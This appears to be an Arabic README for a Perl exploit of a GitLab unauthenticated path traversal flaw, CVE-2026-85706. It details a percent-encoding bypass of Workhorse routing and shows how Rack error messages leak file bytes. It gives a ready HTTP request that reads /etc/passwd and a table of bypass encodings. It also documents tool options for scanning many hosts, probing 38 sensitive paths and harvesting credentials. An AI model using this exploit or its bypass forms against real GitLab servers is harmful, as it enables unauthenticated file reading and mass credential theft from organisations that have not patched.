
Perl PoC يستغل CVE-2026-85706، وهو ثغرة اجتياز مسار في GitLab بدون مصادقة تتيح قراءة الملفات بشكل عشوائي، مع فحص جماعي وجمع بيانات الاعتماد.
لأغراض اختبار الاختراق المصرّح به وعمليات الفريق الأحمر فقط.
الاستخدام غير المصرّح به يُعدّ جريمة جنائية. راجع الإشعار القانوني.
CVE-2026-85706 هي ثغرة اجتياز مسار (path traversal) بدرجة CVSS 10.0 في إصداري GitLab Community وEnterprise Editions، تتيح لـمهاجم غير مُصادَق تمامًا قراءة ملفات عشوائية من نظام ملفات الخادم عبر طلب HTTP واحد. لا حاجة إلى بيانات اعتماد، ولا رمز، ولا تفاعل من المستخدم.
| الفرع | النطاق المعرّض للثغرة | تم الإصلاح في |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
تتكوّن حزمة HTTP في GitLab من ثلاث طبقات:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse يعمل كوسيط عكسي ذكي: بالنسبة لبعض نقاط النهاية الخاصة بـ "الرفع" (عمليات الالتزام في المستودع، عمليات الملفات)، يقرأ أجسام الطلبات متعددة الأجزاء (multipart)، ويحفظ بيانات الملف على القرص، ويعيد كتابة الطلب قبل تمريره إلى Puma. والأهم من ذلك، أنه يرفق ترويسة JWT (Gitlab-Workhorse-Api-Request) بكل طلب يمرره عبر الوسيط. ثم يتحقق Rails من صحة هذا الـ JWT (عبر require_gitlab_workhorse!) قبل تنفيذ أي منطق للمعالج.
الطبقة 1 — مطابقة مسار Workhorse:
يطابق Workhorse مسارات الطلبات باستخدام تعبير نمطي (regex) مُجمَّع يعمل على سلسلة البايتات الخام المشفرة نسبيًا (percent-encoded). وهو لا يفك ترميز تسلسلات %XX قبل المطابقة.
الطبقة 2 — توجيه Puma/Rack:
يفك Puma ترميز تسلسلات %XX قبل أن يوجّه Grape الطلب. لذا فإن طلبًا إلى /repository/%63ommits يُفك ترميزه إلى /repository/commits ويُوجَّه إلى CommitsController.
الطبقة 3 — قراءة الملف قبل المصادقة:
بمجرد الوصول إلى معالج Rails (الذي يُبلَغ إليه دون JWT الخاص بـ Workhorse لأن Workhorse لم يطابق الطلب أبدًا)، يقرأ المعالج params[:file][:path] من سلسلة الاستعلام ويستدعي:
File.open(params[:file][:path]) # ← happens BEFORE authentication
من خلال ترميز نسبة مئوية لحرف واحد في مقطع مسار ثابت، يفلت طلب المهاجم من Workhorse دون اكتشاف:
| المقطع | الأصلي | صيغة التجاوز | الحرف المرمّز |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (أي) | commits | commits/ | شرطة مائلة لاحقة |
| (أي) | commits | commits.json | لاحقة Grape |
بعد فتح الملف، يُسرَّب المحتوى عبر محلّل سلسلة الاستعلام في Rack:
Rack::Utils.parse_nested_query(File.read(path))
إذا كان الملف يحتوي على % غير متبوع برقمين سداسي عشري صالحين (وهو أمر شائع في ملفات إعدادات Ruby وCI YAML والسجلات، إلخ)، فإن Rack يرفع:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
يحتوي جسم الاستجابة هذا المكوّن من 400 استجابة على محتوى الملف الخام حتى البايت المخالف وشاملاً له — مما يكشف محتويات الملف للمتصل غير المصادَق عليه.
تُرجع الملفات التي لا تحتوي على تسلسلات % قابلة للاستغلال (مثل /etc/passwd النظيف) خطأ 401 أو خطأ في التحقق من المعاملات بعد القراءة: ويعمل هذا كـ أوراكل لوجود الملف (فالقراءة لا تزال تحدث قبل المصادقة).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| التقنية | المعرّف | التنفيذ في هذا PoC |
|---|---|---|
| اكتشاف الملفات والأدلّة | T1083 | يفحص وضع --scan 38 مسارًا حساسًا على الخادم |
| بيانات الاعتماد في الملفات | T1552.001 | يستخرج --harvest المفاتيح/الرموز/كلمات المرور من المحتوى المسرَّب |
| الوحدة | الحزمة | الدور |
|---|---|---|
LWP::UserAgent | libwww-perl | عميل HTTP (إلزامي) |
LWP::Protocol::https | libwww-perl | دعم HTTPS (إلزامي) |
URI::Escape | liburi-perl | ترميز سلسلة الاستعلام (إلزامي) |
Term::ANSIColor | libterm-ansicolor-perl | مخرجات ملوّنة (اختياري) |
JSON | libjson-perl | وضع مخرجات JSON (اختياري) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| سريع (افتراضي) | كامل (--full) | |
|---|---|---|
| الطلبات | ≤9 (1 فحص مسبق + ≤4×2) | 27+ |
| الخروج المبكر | نعم — يتوقف عند أول فرق مؤكد | لا — يمسح جميع الأشكال الـ22 |
| معلومات الإصدار | لا | نعم |
| أشكال التجاوز | 4 أشكال تمثيلية من Files API | جميع الأشكال الـ22 (Commits + Files API) |
| الأفضل لـ | الاستطلاع السريع، قوائم المضيفين الكبيرة | تقارير اختبار الاختراق، التحضير لـ --file/--scan |